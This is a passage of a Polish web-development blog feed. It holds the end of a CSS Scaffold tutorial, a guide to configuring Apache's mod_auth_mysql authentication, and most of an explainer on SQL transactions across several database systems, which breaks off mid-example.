&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">border</span><span class="re2">:<span class="re3">1px</span></span> <span class="kw2">solid</span> $kolor<span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>Wtedy wywołanie bez parametru spowoduje automatycnze użycie czarnego.</p>
<h2>Liczenie</h2>
<p>Ta funkcjonalność jest może troszkę mniej szpanerska, ale czasem bardzo przydatna. Jeżeli mamy div o szerokości 100px i zaczynamy dodawać padding to musimy ciągle poprawiać szerokość (width+padding=100). Scaffold policzy to za nas:</p>
<div class="css dean_ch" style="white-space: nowrap;">div <span class="br0">&#123;</span><br />
<span class="kw1">padding</span><span class="re2">:0</span> <span class="re3">5px</span><span class="sy0">;</span><br />
<span class="kw1">width</span><span class="re2">:calc</span><span class="br0">&#40;</span><span class="nu0">100</span>-<span class="nu0">2</span>*<span class="nu0">5</span><span class="br0">&#41;</span><span class="kw2">px</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>Nic nie szkodzi nam na przeszkodzie, żeby użyć w środku stałych, czy użyć parametru.</p>
<h2>Jeżeli...</h2>
<p>Na koniec jeszcze jedna ciekawa zabawka czyli instrukcja if. Piszemy mixin (jak ktoś ma pomysł na odpowiednik to bardzo zachęcam) o nazwie default_div który ma tam sobie jakieś właściwości oraz parametr <code>round</code>, który przyjmuje true lub false. W zależności od <code>round</code> doklejamy kilka regułek lub nie:</p>
<div class="css dean_ch" style="white-space: nowrap;">=default_div<span class="br0">&#40;</span>$round=false<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">padding</span><span class="re2">:<span class="re3">10px</span></span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">margin</span><span class="re2">:<span class="re3">2px</span></span><span class="sy0">;</span><br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">@if($round === true) {</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +border-radius<span class="br0">&#40;</span><span class="re3">5px</span><span class="br0">&#41;</span><span class="sy0">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p>border-radius to już taki gotowy mixin, który zajmuje się zaokrągleniami.</p>
<h2>Cache</h2>
<p>Kiedy już skończymy tworzenie naszego stylu pozostaje nam włączyć cache (bo po ciągle ma być generowany na nowo ten sam plik) - żeby to zrobić wystarczy otworzyć plik config.php i przestawić <code>define('SCAFFOLD_PRODUCTION',false);</code> na <code>define('SCAFFOLD_PRODUCTION',true);</code>.</p>
<h2>Czy to wszystko?</h2>
<p>Nie. Oczywiście, że nie. CSS Scaffold posiada także sporo ciekawych opcji a'propos gridów, wiele ciekawych mixinów, flagi, zastępowanie tekstu obrazkami (bardzo fajnie zrobiona funkcja) oraz wiele innych. Do tego mamy jeszcze możliwość dopisywania własnych rzeczy.</p>
<p>Oczywiście trzeba sobie zdawać sprawę, że takie podejście do styli ma swoje wady - każdy nasz plik ze stylem jest obrabiany pzez PHP, wystarczy, że admin nam zrobi prezent w postaci niespodziewanego upgrade'u do wersji w której CSS Scaffold przestanie działać.</p>
<p>Dodatkowo osoba, której przekażemy taką stronę może się zdziwić jak zobaczy co jest w arkuszu.</p>
<p>Zawsze też istnieje możliwość olania projektu przez autora. W obecnej chwili wszystko zdaje się działać stabilnie jednak, jak już wspominałem, przy nowych wersjach PHP teoretycznie mogą się zacząć dziać cuda.</p>
<p>Jest to też pewne dodatkowe obciążenie po stronie serwera, jednak sprawnie działający cache zapewnie rozwiązuje ten problem (przyznaję, iż nie testowałem na stronie o dużym ruchu).</p>
<p>Mimo wszystko polecam spróbować - dla mnie jest to ogromne ułatwienia.</p>
<img src="http://vivee.info/?ak_action=api_record_view&id=1864&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2010%2F04%2F23%2Fcss-scaffold-czyli-css-po-ludzku%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2010/04/23/css-scaffold-czyli-css-po-ludzku/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Uwierzytelnianie użytkowników za pomocą modułu mod_auth_mysql</title>
		<link>http://vivee.info/2009/08/05/uwierzytelnianie-uzytkownikow-za-pomoca-modulu-mod_auth_mysql/</link>
		<comments>http://vivee.info/2009/08/05/uwierzytelnianie-uzytkownikow-za-pomoca-modulu-mod_auth_mysql/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 06:48:11 +0000</pubDate>
		<dc:creator>majareq</dc:creator>
				<category><![CDATA[Skrypty server-side]]></category>
		<category><![CDATA[Tutoriale]]></category>
		<category><![CDATA[Webmaster]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[autoryzacja]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[serwery]]></category>
		<category><![CDATA[uwierzytelnienie]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=1108</guid>
		<description><![CDATA[Uwierzytelnianie użytkowników za pomocą modułu mod_auth_mysql Serwer Apache posiada szereg madułów umożliwiających przeprowadzenie uwierzytelnienia czytelnika strony. Jednym z nich jest mod_auth_mysql stworzony przez ekipię Jerrego Stuckle' i Samuela Brauer'a, którego działanie sprowadza się po prostu do porównywania loginu i hasła z tymi zapisanymi w bazie danych MySQL. W celu korzystania z tego modułu konieczna jest [...]]]></description>
			<content:encoded><![CDATA[<p>Uwierzytelnianie użytkowników za pomocą modułu mod_auth_mysql</p>
<p>Serwer Apache posiada szereg madułów umożliwiających przeprowadzenie uwierzytelnienia czytelnika strony.<br />
Jednym z nich jest mod_auth_mysql stworzony przez ekipię <strong>Jerrego Stuckle'</strong> i <strong>Samuela Brauer'a</strong><span id="more-1108"></span>, którego działanie sprowadza się po prostu do porównywania loginu i hasła z tymi zapisanymi w bazie danych MySQL.<br />
W celu korzystania z tego modułu konieczna jest instalacja i kompilacja go na serwerze.</p>
<h2>1. Przygotowanie do działania</h2>
<p>Instalacja i kompilacja jest banalnie prosta.</p>
<p><strong>1.1:</strong> Najpierw ściągamy na serwer archiwum z źródłem modułu ze strony: http://sourceforge.net/projects/modauthmysql/<br />
Polecam wiecznie żywą przeglądarkę Lynx <img src='http://vivee.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>1.2:</strong> Rozpakowujemy ściągnięte archiwum poleceniem:</p>
<p><em>tar zxvf mod_auth_mysql-3.0.0.tar.gz</em></p>
<p>Podane parametry oznaczają:</p>
<ul>
<li><strong>x </strong>mówi, że chcemy rozpakować archiwum .tar</li>
<li><strong>z </strong>każe dekompresję gzip'em.</li>
<li><strong>v </strong>włącza tryb gadatliwy, lub inaczej wizualizację - nazwy wyodrębnianych plików zostaną wysłane na terminal.</li>
<li><strong>f </strong>mówi, że następnym argumentem będzie pełna nazwa pliku to rozpakowania</li>
</ul>
<p><strong>1.3:</strong> Przygotuj sobię w bazie odpowiednią tabelę do przechowywania haseł użytkowników strony.</p>
<p><strong>1.4:</strong> Instalacja i kompilacja - w katalogu z mod_auth_mysql wykonujemy dwa polecenia:</p>
<p><em>make<br />
make install</em></p>
<p><strong>1.5:</strong> Ładujemy moduł do Apache - w pliku <strong>httpd.conf </strong>dopisujemy linię:</p>
<p><em>LoadModule mysql_auth_module libexec/mod_auth_mysql.so</em></p>
<p>A teraz podajemy dane do połączenia z MySQL:</p>
<p><em>Auth_MySQL_Info host user hasło</em></p>
<h2>2. Testowanie poprawności instalacji</h2>
<p>Jeśli wykonałeś wszystkie podpunkty instalacji modułu, wystarczy, ze teraz odpalisz Apache.<br />
Nie powinno być żadnych komunikatów oprócz inforamcji o uruchomieniu.</p>
<p>Jeśli są - oznacza to najpewniej, że podałeś złe dane w Auth_MySQL_Info.</p>
<h2>3. Konfiguracja</h2>
<p>Działania modułu realizujemy za pomocą pliku <strong>.htaccess</strong>.</p>
<p>Którego zawartość powinna brzmieć mniej więcej tak:</p>
<p><code><br />
ErrorDocument 403 /allow_denited.html<br />
AuthName "nazwa witryny/zasobu"<br />
AuthType Basic<br />
AuthMySQL on<br />
AuthMySQL_DB baza<br />
AuthMySQL_Host host<br />
AuthMySQL_User user<br />
AuthMySQL_Password hasło<br />
AuthMySQL_Password_Table tabela<br />
AuthMySQL_Username_Field login<br />
AuthMySQL_Password_Field pass<br />
AuthMySQL_Empty_Passwords off<br />
AuthMySQL_Encryption_Types PHP_MD5<br />
require valid-user<br />
</code></p>
<p>Pierwszą linijką definiujemy która strona ma być wyświetlana podczas, gdy dostęp jest zabroniony.<br />
Druga linijka nazywa "okienko" uwierzytelniania.<br />
Trzecia linijka włącza moduł.<br />
Czwarta linijka wybiera bazę MySQL.<br />
Piąta linijka wybiera komputer / serwer / host (jak zwał tak zwał <img src='http://vivee.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).<br />
Szósta linijka wybiera użytkownika do bazy.<br />
Siódma linijka definiuje hasło użytkownika bazy.<br />
Ósma linijka definiuje tabelę z danymi uwierzytelnionych czytelników witryny.<br />
Dziewiąta i dziesiąta linijka definiuje pole w tabeli, gdzie ma szukać loginu i hasła podawanego przez czytelnika.<br />
Jedenasta linijka zabrania podania pustego hasła.<br />
Dwunasta linijka definiuje hashowanie haseł za pomocą mechanizmu MD5 (wartością domyślną jest hashowanie przez Unixowski DES).<br />
Trzynasta linijka zezwala dostęp dla poprawnie zalogowanego czytelnika.</p>
<p>Dodatki do modułu znajdziemy tutaj: http://sourceforge.net/tracker/?group_id=60218&amp;atid=493464<br />
Można tam znaleźć m.in patch do Apache 2.2.</p>
<h2>4. Zaczynamy pracę z mod_auth_mysql.</h2>
<p>mod_auth_mysql zainstalowany, skonfigurowany, przetestowany poprawnie. Co teraz?<br />
Teraz możemy tworzyć np. panel administratora do katalogu z plikiem .htaccess, ponieważ uwierzytelnianie włączone.</p>
<p>Jednak muszę Cię ostrzec, że własne mechanizmy uwierzytelniania napisane za pomocą np. PHP i MySQL często bywają lepsze od tego modułu.<br />
Na minus korzystania z niego wpływa:</p>
<ol>
<li>konieczność instalacji na serwerze dodatków (nie zawsze jest taka możliwość)</li>
<li>brak integracji ze stroną</li>
<li>dodatkowe obciążanie zarówno serwera jak i klienta</li>
<li>brak możliwości personalnego rozwoju systemu uwierzytelnia</li>
</ol>
<p>Jednak na plus wpływa fakt, że bardzo trudno jest zcrackować taką stronę.</p>
<h2>5. A pod Windows?</h2>
<p>Co tutaj się dużo rozpisywać? Szczegóły na temat tego jak zastosować mod_auth_mysql znajdziecie tutaj:<br />
<a href="http://modauthmysql.sourceforge.net/HowToBuildForWindows.zip">http://modauthmysql.sourceforge.net/HowToBuildForWindows.zip</a></p>
<p style="text-align: right;">pozdrawiam,<br />
G.Karwaszewski</p>
<img src="http://vivee.info/?ak_action=api_record_view&id=1108&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2009%2F08%2F05%2Fuwierzytelnianie-uzytkownikow-za-pomoca-modulu-mod_auth_mysql%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2009/08/05/uwierzytelnianie-uzytkownikow-za-pomoca-modulu-mod_auth_mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Transakcje w bazach danych</title>
		<link>http://vivee.info/2009/05/10/transakcje-w-bazach-danych/</link>
		<comments>http://vivee.info/2009/05/10/transakcje-w-bazach-danych/#comments</comments>
		<pubDate>Sun, 10 May 2009 20:23:48 +0000</pubDate>
		<dc:creator>majareq</dc:creator>
				<category><![CDATA[Skrypty server-side]]></category>
		<category><![CDATA[Tutoriale]]></category>
		<category><![CDATA[Webmaster]]></category>
		<category><![CDATA[ACID]]></category>
		<category><![CDATA[MSQL]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[SQL*PLUS]]></category>
		<category><![CDATA[Transact-SQL]]></category>
		<category><![CDATA[Transakcje]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=862</guid>
		<description><![CDATA[Dla młodego programisty aplikacji internetowych dotąd zapytania SQL kojarzyły się jako odrębne zadania do wykonania. Czym w zasadzie są transakcje? Dla młodego programisty aplikacji internetowych dotąd zapytania SQL kojarzyły się jako odrębne zadania do wykonania. Na przykład funkcja zliczająca unikalne wejścia na daną podstronę zarejestrowanych użytkowników wykonywała osobno (czysta teoria): zapytanie sprawdzające czy wejście jest [...]]]></description>
			<content:encoded><![CDATA[<p>Dla młodego programisty aplikacji internetowych dotąd zapytania SQL kojarzyły się jako odrębne zadania do wykonania.<span id="more-862"></span></p>
<h2>Czym w zasadzie są transakcje?</h2>
<p>Dla młodego programisty aplikacji internetowych dotąd zapytania SQL kojarzyły się jako odrębne zadania do wykonania.<br />
Na przykład funkcja zliczająca unikalne wejścia na daną podstronę zarejestrowanych użytkowników wykonywała osobno (czysta teoria):</p>
<ul>
<li>zapytanie sprawdzające czy wejście jest rzeczywiście unikalne (np. pobieranie IP z listy pamiętanych adresów w tabeli bazy danych)</li>
<li>zapytanie pobierające aktualną liczbę unikalnych wejść</li>
<li>zapytanie zmieniające stan wejścia na podstroną danego użytkownika w rekordzie tabeli użytkowników</li>
</ul>
<p>Jednak gdy w przypadku np. awarii systemu, w trakcie wykonywania operacji modyfikacje odbyłyby się tylko w części, co doprowadziłoby do dalszych komplikacji.</p>
<p>Wyobraźmy sobie to na przykładzie: jest system zarządzający inwentarzem w hurtowni.<br />
Gdy klient kupuje 75 sztuk długopisów, do bazy danych idą zapytania aktualizujące stan kasy, w której kupował oraz zmieniające liczbę długopisów w inwentarzu.<br />
W przypadku gdy długopisów jest już bardzo mało, system automatycznie wysyła zamówienie do producenta długopisów na kolejne 2000 długopisów.<br />
Gdyby w połowie wykonywania tych operacji system straciłby zasilanie to np. stan kasy zostałby poprawiony, ale stan długopisów nie zgadzałby się już z rzeczywistością. Mogłoby dojść potem do sytuacji, że kolejny klient chce zakupić 200 długopisów, a w inwentarzu brakuje 50, ponieważ nie było dostawy długopisów. Dlaczego? Ponieważ przez awarię system nie wykrył, że długopisów jest już mało i zamówienie nie zostało wysłane do producenta.</p>
<p>Jak uniknąć sytuacji tego typu i podobnych?<br />
Rozwiązanie jest teoretycznie proste. Trzeba zastosować <strong>transakcje</strong>.</p>
<p>Transakcje grupują wyrażenia SQL, traktując tą grupę jako jedno.<br />
Transakcja może składać się z jednego zapytania lub z wielu, to zależy od charakteru zadania do wykonania.<br />
Charakteryzują je zasada <strong>ACID </strong>czyli, Atomicity, Consistency, Isolation, Durability - Atomowość, Spójność, Izolacja, Trwałość.<br />
Oznacza to, że każda transakcja wykona się w całości, lub wcale. Podczas jej wykonywania  dwie równoległe transakcje nie widzą wprowadzanych przez siebie zmian (zależy od poziomu izolacji) do momentu zatwierdzenia transakcji. Zmiany nie są też widoczne dla pozostałych użytkowników tej bazy danych. Po jej wykonaniu nie zostaną naruszane zasady integralności bazy. A cały system udostępni nam nienaruszone dane po nagłej awarii systemu.</p>
<p>Transakcje można używać samodzielnie, ale ich zastosowanie najczęściej idzie w parze z zastosowaniem kursorów w procedurach składowych.<br />
Procedury składowe są udoskonaleniem struktury języka SQL, są osobnymi programami przetwarzającymi dane na poziomie bazy danych.<br />
Jednak by wgłębić się w tą tematykę polecam inną lekturę.</p>
<p>Zatem jakie mechanizmy pozwalają na właśnie takie działanie transakcji? Temat ten omówi kolejny rozdział.</p>
<h2>Jak działają?</h2>
<p>Zasada działania transakcji opiera się na trzech elementach, niejako fundamentach.</p>
<ul>
<li>Rozpoczęcie transakcji, inaczej inicjalizacja - po rozpoczęciu transakcji WSZYSTKIE kolejne zapytania SQL są traktowane jako część instrukcji transakcji, następuje ich zgrupowanie do momentu zamknięcia lub anulowania transakcji.</li>
<li>Zatwierdzenie transakcji - zapisanie na trwałe wszystkich zmian dokonanych przez instrukcję transakcji. Jeśli nie będziesz kończył transakcji odpowiednio szybko, będzie dochodziło do blokowania całej aplikacji. Poprzez odpowiednio szybko rozumiem sytuację kiedy transakcja jest otwarta TYLKO do momentu, kiedy nie będzie pewne, że jej wynik będzie pozytywny. Nie należy zwlekać z zatwierdzeniem transakcji.</li>
<li>Anulowanie transakcji, lub też wycofanie - kończy transakcję i porzuca wszystkie zmiany jakich miały dokonać instrukcje. Przydaje się w instrukcjach warunkowych aplikacji internetowej. Np. transakcja jest zatwierdzana jeśli przyjdzie potwierdzenie wpłaty pieniędzy na konto bankowe, w przeciwnym wypadku jest anulowana.</li>
</ul>
<p>W teorii transakcji istnieje też pojęcie punkt pośredni lub punkt zapisu (save point), działające na tej samej zasadzie.<br />
Chodzi i zapisanie stanu transakcji do danego punktu i możliwość cofania się do tego momentu, wewnątrz transakcji.<br />
To jak zapisywanie stanu gry w czasie wykonywania konkretnej misji w grze komputerowej.</p>
<h2>Transakcje w Transact-SQL.</h2>
<p><strong>Transact-SQL</strong> traktuje <em>KAŻDE </em>wyrażenie SQL jako osobną transakcję. Co odróżnia go znacznie od Oracle.<br />
Transact-SQL WYMAGA deklarowania każdej transakcji. Ku temu służą nam słowa kluczowe: BEGIN, COMMIT, SAVE i ROLLBACK.<br />
Możemy wycofać transakcję do określonego punktu dzięki opcji nadawania nazw każdej transakcji i tworzenia tz.punktów pośrednich.<br />
Nie ma jednak możliwość nadawania nazw transakcjom i punktom pośrednim znajdującym się wewnątrz zapętlonej transakcji.</p>
<table border="1">
<tbody>
<tr height="35">
<td width="10%">BEGIN</td>
<td width="40%">BEGIN {TRAN | TRANSACTION} [nazwa]</td>
<td width="50%">Rozpoczynanie transakcji (można pisać w skrócie TRAN). Można nadawać nazwy.</td>
</tr>
<tr height="35">
<td width="10%">SAVE</td>
<td width="40%">SAVE {TRAN | TRANSACTION} nazwa_punktu</td>
<td width="50%">Zapisuje stan bieżącej transakcji w określonym miejscu jako punkt pośredni. Dzięki temu można wycofywać podzbiory zapytań. Podanie nazwy jest konieczne.</td>
</tr>
<tr height="35">
<td width="10%">COMMIT</td>
<td width="40%">COMMIT {TRAN | TRANSACTION | WORK} [nazwa_transakcji]</td>
<td width="50%">Kończy transakcję i zapisuje w bazie wszystkie zmiany wprowadzone przez zapytania zamykanej transakcji. Oznacza powrót do AUTOCOMMIT, trwający do momentu rozpoczęcia kolejnej transakcji. Wszystkie parametry w składni oprócz słowa kluczowego są parametrami opcjonalnymi. TRANS TRANSACTION i WORK sa synonimami. Nazwy transakcji nie trzeba podawać, lecz należy jeśli chcemy zakończyć całą zewnętrzną transakcję a nie najmłodszą w zapętleniu.</td>
</tr>
<tr height="35">
<td width="10%">ROLLBACK</td>
<td width="40%">ROLLBACK {TRAN | TRANSACTION | WORK} [nazwa_transakcji | nazwa punktu]</td>
<td width="50%">Wycofuje wszystkie zmiany do ostatniego punktu pośredniego lub gdy go brak do początku transakcji, zależnie od tego czy podamy nazwę. Jeśli nie to nastąpi powrót do stanu przed rozpoczęciem transakcji. To samo tyczy się transakcji zagnieżdżonej.</td>
</tr>
</tbody>
</table>
<h2>Transakcje w Oracle.</h2>
<p>Transakcje w Oracle są o wiele łatwiejszą sprawą. Niczego innego nie moglibyśmy się spodziewać po tak wybornym produkcie <img src='http://vivee.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Tutaj nie rozpoczynamy nigdy transakcji. Mamy tylko polecenia <strong>COMMIT </strong>i <strong>ROLLBACK</strong>.<br />
W Oracle nowa transakcja zaczyna się w momencie zakończenie lub anulowania poprzedniej. COMMIT automatycznie zapisuje zmiany.</p>
<p>Gdy sesja zostanie zakończona losowym wydarzeniem (niekontrolowanie) np. gdy komputer straci połączenie z SQL*PLUS, transakcja automatycznie jest anulowana. Nie zaistnieje więc sytuacja niedokończenia pewnych instrukcji gdy np. w hipermarkecie odetną prąd w trakcie przetwarzania kodu kreskowego i odejmowania produktów z bazy inwentarza.</p>
<p>Ale przyjrzyjmy się bliżej w jaki sposób dokonujemy transakcji w <strong>Oracle</strong>.<br />
Zacznijmy od pobrania kilku rekordów z tabeli <em>Products</em>.</p>
<div class="sql dean_ch" style="white-space: nowrap;"><span class="kw1">SELECT</span> product_id, product_price <span class="kw1">FROM</span> Products</p>
<p>PRODUCT_ID PRODUCT_PRICE</p>
<p><span class="co1">-------------------------------</span></p>
<p><span class="nu0">1</span> <span class="nu0">19.99</span></p>
<p><span class="nu0">2</span> <span class="nu0">34.50</span></p>
<p><span class="nu0">3</span> <span class="nu0">12.10</span></p>
<p><span class="nu0">4</span> <span class="nu0">4.99</span></p>
<p><span class="nu0">5</span> <span class="nu0">1.10</span></p>
<p><span class="nu0">6</span> <span class="nu0">59.49</span></p>
<p><span class="nu0">7</span> <span class="nu0">114.00</span></p>
<p><span class="nu0">8</span> <span class="nu0">99.99</span></p>
<p><span class="nu0">9</span> <span class="nu0">10.99</span></p>
<p><span class="nu0">10</span> <span class="nu0">2.46</span></p>
<p><span class="nu0">11</span> <span class="nu0">2.49</span></p>
<p><span class="nu0">12</span> <span class="nu0">10.11</span></p>
<p><span class="nu0">13</span> <span class="nu0">89.00</span></p>
<p><span class="nu0">14</span> <span class="nu0">69.99</span></p>
<p><span class="nu0">14</span> rows selected</div>
<p>Teraz skasujmy 4 z tych rekordów:</p>
<div class="sql dean_ch" style="white-space: nowrap;"><span class="kw1">DELETE</span> <span class="kw1">FROM</span> Products <span class="kw1">WHERE</span> product_price <span class="kw1">IN</span> <span class="br0">&#40;</span><span class="nu0">1.10</span>, <span class="nu0">2.46</span>, <span class="nu0">2.49</span>, <span class="nu0">4.99</span><span class="br0">&#41;</span></p>
<p><span class="nu0">4</span> rows deleted</p>
<p>PRODUCT_ID PRODUCT_PRICE</p>
<p><span class="co1">-------------------------------</span></p>
<p><span class="nu0">1</span> <span class="nu0">19.99</span></p>
<p><span class="nu0">2</span> <span class="nu0">34.50</span></p>
<p><span class="nu0">3</span> <span class="nu0">12.10</span></p>
<p><span class="nu0">6</span> <span class="nu0">59.49</span></p>
<p><span class="nu0">7</span> <span class="nu0">114.00</span></p>
<p><span class="nu0">8</span> <span class="nu0">99.99</span></p>
<p><span class="nu0">9</span> <span class="nu0">10.99</span></p>
<p><span class="nu0">12</span> <span class="nu0">10.11</span></p>
<p><span class="nu0">13</span> <span class="nu0">89.00</span></p>
<p><span class="nu0">14</span> <span class="nu0">69.99</span></p>
<p><span class="nu0">10</span> rows selected</div>
<p>Jednak gdy w tym momencie inny użytkownik wywoła ten sam SELECT otrzyma wynik:</p>
<div class="sql dean_ch" style="white-space: nowrap;"><span class="kw1">SELECT</span> product_id, product_price <span class="kw1">FROM</span> Products</p>
<p>PRODUCT_ID PRODUCT_PRICE</p>
<p><span class="co1">-------------------------------</span></p>
<p><span class="nu0">1</span> <span class="nu0">19.99</span></p>
<p><span class="nu0">2</span> <span class="nu0">34.50</span></p>
<p><span class="nu0">3</span> <span class="nu0">12.10</span></p>
<p><span class="nu0">4</span> <span class="nu0">4.99</span></p>
<p><span class="nu0">5</span> <span class="nu0">1.10</span></p>
<p><span class="nu0">6</span> <span class="nu0">59.49</span></p>
<p><span class="nu0">7</span> <span class="nu0">114.00</span></p>
<p><span class="nu0">8</span> <span class="nu0">99.99</span></p>
<p><span class="nu0">9</span> <span class="nu0">10.99</span></p>
<p><span class="nu0">10</span> <span class="nu0">2.46</span></p>
<p><span class="nu0">11</span> <span class="nu0">2.49</span></p>
<p><span class="nu0">12</span> <span class="nu0">10.11</span></p>
<p><span class="nu0">13</span> <span class="nu0">89.00</span></p>
<p><span class="nu0">14</span> <span class="nu0">69.99</span></p>
<p><span class="nu0">14</span> rows selected</div>
<p>Dlaczego? Nie wydaliśmy polecenia <em>COMMIT</em>. W dalszym ciągu można anulować tą transakcję.<br />
Dla innych użytkowników nie są widoczne zmiany wprowadzone przez nie zakończoną transakcję.</p>
<p>Można ustawić automatyczne zatwierdzanie transakcji co ustaloną liczbę zapytań. Służy do tego specjalny tryb: <strong>AUTOCOMMIT</strong>.<br />
Aby go włączyć należy w SQL*PLUS wydać polecenie: <strong>SET AUTOCOMMIT ON</strong><br />
Analogicznie, aby wyłączyć wystarczy napisać: <strong>SET AUTOCOMMIT OFF</strong><br />
Aby ustawić co ile zapytań ma zatwierdzać transakcję wystarczy naskrobać: SET AUTOCOMMIT X<br />
gdzie X oznacza liczbę poleceń.<br />
Bieżące ustawienie <strong>AUTOCOMMIT </strong>sprawdzamy za pośrednictwem: <strong>SHOW AUTOCOMMIT</strong>.</p>
<h2>Transakcje w MySQL.</h2>
<p>MySQL do wersji bodaj 5.0 nie obsługiwało ani procedur składowanych, ani transakcji, kursorów czy też wyzwalaczy. To było głównym argumentem przeciw używaniu MySQL. Przemawiało za konkurencyjnym PosgreSQL, który od dawna obsługiwał transakcje.</p>
<p>Wtedy można było sobie poradzić poprzez symulowanie transakcji. Takie elementy procedury transakcji jak blokowanie tabel czy wierszy (o czym będzie mowa w rozdziale 7) można było zrobić za pośrednictwem: LOCK TABLES i UNLOCK TABLES. Punkty kontrolne czy zwykłe pamiętanie stanu przed rozpoczęciem transakcji można było robić poprzez np. import i export tabel lub ręcznym zrobieniem dziennika logów.<br />
Lecz takie rozwiązanie nie jest ani trochę optymalne i właściwie mija się z celem.<br />
Poradził sobie w ten sposób dawno temu (za czasów MySQL 3.22) administrator <em>webdeveloper.pl</em>, lecz w tym momencie możemy tego uniknąć korzystają z dobroci programistów MySQL.</p>
<p>W MySQL 6.0 mamy do dyspozycji standardowe procedury czyli:<br />
<strong>START TRANSACTION</strong> (lub <strong>BEGIN</strong>) - rozpoczynanie transakcji<br />
<strong>COMMIT </strong>(lub <strong>END</strong>) - zatwierdzanie<br />
<strong>ROLLBACK </strong>- anulowanie<br />
I dla <em>InnoDB </em>oraz <em>Falcon</em><br />
<strong>SAVEPOINT </strong>- punkty pośrednie<br />
<strong>ROLLBACK TO SAVEPOINT</strong> - cofnięcie do punktu pośredniego<br />
<strong>RELEASE SAVEPOINT</strong> - usuwa punkt pośredni o podanej nazwie z obecnej transakcji</p>
<p>Wszystkim aspektom transakcji w MySQL 6.0 jest poświęcony cały rozdział 12.4 w podręczniku MySQL - <a title="MySQL Transactional and Locking Statements" href="http://dev.mysql.com/doc/refman/6.0/en/sql-syntax-transactions.html">MySQL Transactional and Locking Statements</a>.</p>
<h2>Transakcje w PostgreSQL</h2>
<p>Okazuje się że PostgreSQL jest jeszcze łatwiejsze do opanowania od MySQL. Silnik ten ma wbudowane <strong>MVCC </strong>(<em>Multiversion Concurrency Control</em>), czyli mechanizm zarządzania transakcjami.</p>
<p>W <strong>PostgreSQL </strong>słowem kluczowym rozpoczynającym transakcję <strong>BEGIN</strong>, zaś anulującą jest <strong>ABORT </strong>(lub <strong>ROLLBACK</strong>), a zatwierdzającą <strong>END </strong>(lub <strong>COMMIT</strong>).<br />
Wygląda to więc mniej więcej tak:</p>
<div class="sql dean_ch" style="white-space: nowrap;">BEGIN<br />
&nbsp;<span class="coMULTI">/* zapytania SQL */</span><br />
&nbsp;ABORT <span class="sy0">|</span> END</div>
<p>Użytkownik otrzymuje informacje o każdej wykonanej operacji i musi zdecydować którą z operacji zakończyć transakcję.<br />
Wróćmy jednak na chwilę do Multi-Version Concurrency Control.<br />
Dzięki temu mechanizmowi może istnieć wiele wersji danego rekordu, a każdy użytkownik widzi odpowiednią wersję do swojej transakcji.<br />
Pozwala to na zmniejszenie blokowania tabel. Każdy z wierszy ma ukryte pola: xmin, xmax, cmin i cmax.</p>
<ol>
<li>Xmin - numer transakcji, w której został stworzony</li>
<li>Xmax - numer transakcji, w której został usunięty</li>
<li>Cmin - numer zapytania SQL w bieżącej transakcji, w której został stworzony</li>
<li>Cmax - numer zapytania SQL w bieżącej transakcji, w której został usunięty</li>
</ol>
<p><em>Jak działa <strong>MVCC</strong>?</em><br />
W poleceniu INSERT ustawia Xmax na 0. W DELETE Xmax ustawia na numer bieżącej transakcji.<br />
A UPDATE INSERT + DELETE.<br />
Każdy z użytkowników korzystających z transakcji widzi tylko wiersze dla których xmin jest mniejsze lub równe numerowi bieżącej transakcji oraz xmax jest równe 0 lub xmax jest większe lub równe bieżącemu numerowi transakcji.</p>
<p>To tak jakbyśmy przez <strong>INSERT </strong>utworzyli:</p>
<div class="sql dean_ch" style="white-space: nowrap;"><span class="co1">--------------------------</span><br />
&nbsp;xmin <span class="sy0">|</span> xmax <span class="sy0">|</span> title<br />
&nbsp;<span class="co1">--------------------------</span><br />
&nbsp;<span class="co1">--&gt; 14 | 0 | bagietka</span><br />
&nbsp;<span class="co1">--------------------------</span></div>
<p>Wtedy UPDATE utworzy nową wersję wiersza:</p>
<div class="sql dean_ch" style="white-space: nowrap;"><span class="co1">--------------------------</span><br />
&nbsp;xmin <span class="sy0">|</span> xmax <span class="sy0">|</span> title<br />
&nbsp;<span class="co1">--------------------------</span><br />
&nbsp;<span class="nu0">15</span> <span class="sy0">|</span> <span class="nu0">15</span> <span class="sy0">|</span> bagietka<br />
